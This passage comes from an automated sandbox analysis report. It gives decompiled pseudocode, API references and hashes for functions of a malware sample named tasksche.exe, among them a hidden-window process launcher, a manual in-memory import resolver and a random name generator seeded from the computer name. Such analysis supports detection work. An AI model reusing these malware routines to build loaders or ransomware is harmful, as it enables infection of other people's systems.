                                                                                          • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 81%
                                                                                          			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}







                                                                                          0x00401070
                                                                                          0x00401074
                                                                                          0x0040107d
                                                                                          0x00401082
                                                                                          0x00401085
                                                                                          0x00401086
                                                                                          0x00401087
                                                                                          0x0040108d
                                                                                          0x0040108e
                                                                                          0x004010a1
                                                                                          0x004010b0
                                                                                          0x00000000
                                                                                          0x004010f7
                                                                                          0x004010b5
                                                                                          0x004010c5
                                                                                          0x004010cc
                                                                                          0x004010cc
                                                                                          0x004010d5
                                                                                          0x004010dd
                                                                                          0x004010dd
                                                                                          0x004010d5
                                                                                          0x004010ec
                                                                                          0x004010f1
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
                                                                                          • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                                                                                          • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                                                                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
                                                                                          • CloseHandle.KERNEL32(?), ref: 004010EC
                                                                                          • CloseHandle.KERNEL32(?), ref: 004010F1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                          • String ID: D
                                                                                          • API String ID: 786732093-2746444292
                                                                                          • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                                                                          • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                                                                                          • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                                                                          • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 81%
                                                                                          			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}





























                                                                                          0x004077bd
                                                                                          0x004077bf
                                                                                          0x004077c4
                                                                                          0x004077cf
                                                                                          0x004077d0
                                                                                          0x004077dd
                                                                                          0x004077e2
                                                                                          0x004077e7
                                                                                          0x004077ee
                                                                                          0x004077f5
                                                                                          0x004077fc
                                                                                          0x00407802
                                                                                          0x00407808
                                                                                          0x0040780a
                                                                                          0x00407810
                                                                                          0x00407816
                                                                                          0x0040781f
                                                                                          0x00407824
                                                                                          0x00407829
                                                                                          0x0040782f
                                                                                          0x00407836
                                                                                          0x0040783c
                                                                                          0x0040783d
                                                                                          0x00407842
                                                                                          0x00407847
                                                                                          0x0040784c
                                                                                          0x00407851
                                                                                          0x00407856
                                                                                          0x0040786f
                                                                                          0x00407875
                                                                                          0x0040787a
                                                                                          0x0040787f
                                                                                          0x0040788c
                                                                                          0x0040788e
                                                                                          0x00407894
                                                                                          0x004078d0
                                                                                          0x004078d0
                                                                                          0x004078d3
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004078d5
                                                                                          0x004078d6
                                                                                          0x004078d6
                                                                                          0x00407896
                                                                                          0x00407896
                                                                                          0x00407896
                                                                                          0x00407897
                                                                                          0x0040789a
                                                                                          0x0040789c
                                                                                          0x004078a7
                                                                                          0x004078a9
                                                                                          0x004078a9
                                                                                          0x004078aa
                                                                                          0x004078aa
                                                                                          0x004078a7
                                                                                          0x004078ad
                                                                                          0x004078ad
                                                                                          0x004078b1
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004078b7
                                                                                          0x004078be
                                                                                          0x004078c4
                                                                                          0x004078c8
                                                                                          0x004078dd
                                                                                          0x004078ca
                                                                                          0x004078ca
                                                                                          0x004078ca
                                                                                          0x004078e9
                                                                                          0x004078ee
                                                                                          0x004078f2
                                                                                          0x004078f8
                                                                                          0x004078fd
                                                                                          0x004078ff
                                                                                          0x00407902
                                                                                          0x00407903
                                                                                          0x00407904
                                                                                          0x0040790b

                                                                                          APIs
                                                                                          • __set_app_type.MSVCRT(00000002), ref: 004077E7
                                                                                          • __p__fmode.MSVCRT ref: 004077FC
                                                                                          • __p__commode.MSVCRT ref: 0040780A
                                                                                          • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                                                                                          • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                                                                                          • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
                                                                                          • String ID:
                                                                                          • API String ID: 3626615345-0
                                                                                          • Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                          • Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
                                                                                          • Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                          • Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 84%
                                                                                          			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}














                                                                                          0x00407831
                                                                                          0x00407836
                                                                                          0x0040783d
                                                                                          0x00407842
                                                                                          0x00407847
                                                                                          0x0040784c
                                                                                          0x00407851
                                                                                          0x00407856
                                                                                          0x0040786f
                                                                                          0x00407875
                                                                                          0x0040787a
                                                                                          0x0040787f
                                                                                          0x0040788c
                                                                                          0x0040788e
                                                                                          0x00407894
                                                                                          0x004078d0
                                                                                          0x004078d0
                                                                                          0x004078d3
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004078d5
                                                                                          0x004078d6
                                                                                          0x004078d6
                                                                                          0x00407896
                                                                                          0x00407896
                                                                                          0x00407896
                                                                                          0x00407897
                                                                                          0x0040789a
                                                                                          0x0040789c
                                                                                          0x004078a7
                                                                                          0x004078a9
                                                                                          0x004078a9
                                                                                          0x004078aa
                                                                                          0x004078aa
                                                                                          0x004078a7
                                                                                          0x004078ad
                                                                                          0x004078ad
                                                                                          0x004078b1
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x004078b7
                                                                                          0x004078be
                                                                                          0x004078c4
                                                                                          0x004078c8
                                                                                          0x004078dd
                                                                                          0x004078ca
                                                                                          0x004078ca
                                                                                          0x004078ca
                                                                                          0x004078e9
                                                                                          0x004078ee
                                                                                          0x004078f2
                                                                                          0x004078f8
                                                                                          0x004078fd
                                                                                          0x004078ff
                                                                                          0x00407902
                                                                                          0x00407903
                                                                                          0x00407904
                                                                                          0x0040790b

                                                                                          APIs
                                                                                          • __setusermatherr.MSVCRT(0040793C), ref: 00407836
                                                                                            • Part of subcall function 0040792A: _controlfp.MSVCRT(00010000,00030000,00407842), ref: 00407934
                                                                                          • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                                                                                          • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                                                                                          • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                                                                                          • GetStartupInfoA.KERNEL32(?), ref: 004078BE
                                                                                          • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
                                                                                          • exit.MSVCRT(00000000,00000000,?,?,?,?), ref: 004078F2
                                                                                          • _XcptFilter.MSVCRT(?,?,?,?,?,?), ref: 00407904
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
                                                                                          • String ID:
                                                                                          • API String ID: 2141228402-0
                                                                                          • Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                          • Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
                                                                                          • Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                          • Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 96%
                                                                                          			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}




















                                                                                          0x004027e6
                                                                                          0x004027ee
                                                                                          0x004027ee
                                                                                          0x004027f1
                                                                                          0x004027f6
                                                                                          0x004027f7
                                                                                          0x004027fa
                                                                                          0x00402801
                                                                                          0x0040280d
                                                                                          0x0040281a
                                                                                          0x0040291c
                                                                                          0x00000000
                                                                                          0x0040291f
                                                                                          0x00402825
                                                                                          0x00402825
                                                                                          0x0040282a
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00402830
                                                                                          0x00402836
                                                                                          0x0040283a
                                                                                          0x00402840
                                                                                          0x004028fd
                                                                                          0x004028fd
                                                                                          0x00402903
                                                                                          0x00000000
                                                                                          0x00402903
                                                                                          0x00402846
                                                                                          0x00402851
                                                                                          0x00402854
                                                                                          0x0040285e
                                                                                          0x004028f0
                                                                                          0x004028f6
                                                                                          0x004028fd
                                                                                          0x00000000
                                                                                          0x004028fd
                                                                                          0x00402864
                                                                                          0x0040286a
                                                                                          0x0040286d
                                                                                          0x00402870
                                                                                          0x00402873
                                                                                          0x00402877
                                                                                          0x00402889
                                                                                          0x0040288b
                                                                                          0x00402879
                                                                                          0x0040287e
                                                                                          0x00402881
                                                                                          0x00402881
                                                                                          0x0040288e
                                                                                          0x00402891
                                                                                          0x00402895
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x0040289c
                                                                                          0x004028ab
                                                                                          0x004028ab
                                                                                          0x004028b0
                                                                                          0x0040289e
                                                                                          0x0040289e
                                                                                          0x0040289e
                                                                                          0x004028a1
                                                                                          0x004028a1
                                                                                          0x004028b7
                                                                                          0x004028ba
                                                                                          0x004028bd
                                                                                          0x004028c1
                                                                                          0x004028cc
                                                                                          0x00000000
                                                                                          0x004028c3
                                                                                          0x004028c3
                                                                                          0x004028c7
                                                                                          0x00000000
                                                                                          0x004028c7
                                                                                          0x004028c1
                                                                                          0x004028d4
                                                                                          0x00402909
                                                                                          0x0040290f
                                                                                          0x00402916
                                                                                          0x00000000
                                                                                          0x00402916
                                                                                          0x004028d6
                                                                                          0x004028e4
                                                                                          0x00402822
                                                                                          0x00000000
                                                                                          0x00402822
                                                                                          0x00000000
                                                                                          0x004028ea
                                                                                          0x00000000
                                                                                          0x00402825
                                                                                          0x00000000

                                                                                          APIs
                                                                                          • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                                                                                          • realloc.MSVCRT(85000001,317459C0), ref: 00402854
                                                                                          • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Read$realloc
                                                                                          • String ID: ?!@
                                                                                          • API String ID: 1241503663-708128716
                                                                                          • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                          • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                                                                                          • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                          • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 86%
                                                                                          			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}





















                                                                                          0x0040122e
                                                                                          0x00401239
                                                                                          0x00401240
                                                                                          0x00401249
                                                                                          0x00401250
                                                                                          0x00401252
                                                                                          0x0040125f
                                                                                          0x0040126b
                                                                                          0x00401277
                                                                                          0x0040127e
                                                                                          0x00401280
                                                                                          0x00401286
                                                                                          0x00401289
                                                                                          0x0040128c
                                                                                          0x00401297
                                                                                          0x0040129d
                                                                                          0x00401286
                                                                                          0x004012a1
                                                                                          0x004012ae
                                                                                          0x004012b2
                                                                                          0x004012b4
                                                                                          0x004012b5
                                                                                          0x004012ba
                                                                                          0x004012be
                                                                                          0x004012c0
                                                                                          0x004012c0
                                                                                          0x004012c4
                                                                                          0x004012c5
                                                                                          0x004012ce
                                                                                          0x004012d1
                                                                                          0x004012d2
                                                                                          0x004012c0
                                                                                          0x004012d6
                                                                                          0x004012d9
                                                                                          0x004012dd
                                                                                          0x004012e1
                                                                                          0x004012e2
                                                                                          0x004012eb
                                                                                          0x004012ee
                                                                                          0x004012ee
                                                                                          0x004012f1
                                                                                          0x004012f4
                                                                                          0x004012fc

                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001D.00000002.346208341.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 0000001D.00000002.346184829.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346237406.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                          • Associated: 0000001D.00000002.346278616.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_29_2_400000_tasksche.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: rand$wcslen$ComputerNamesrand
                                                                                          • String ID:
                                                                                          • API String ID: 3058258771-0
                                                                                          • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                          • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                                                                                          • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                          • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 100%
                                                                                          			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}












                                                                                          0x0040707a
                                                                                          0x00407080
                                                                                          0x00407091
                                                                                          0x00407091
                                                                                          0x00407097
                                                                                          0x0040709a
                                                                                          0x0040709e
                                                                                          0x004070a5
                                                                                          0x004070a7
                                                                                          0x004070a9
                                                                                          0x004070ab
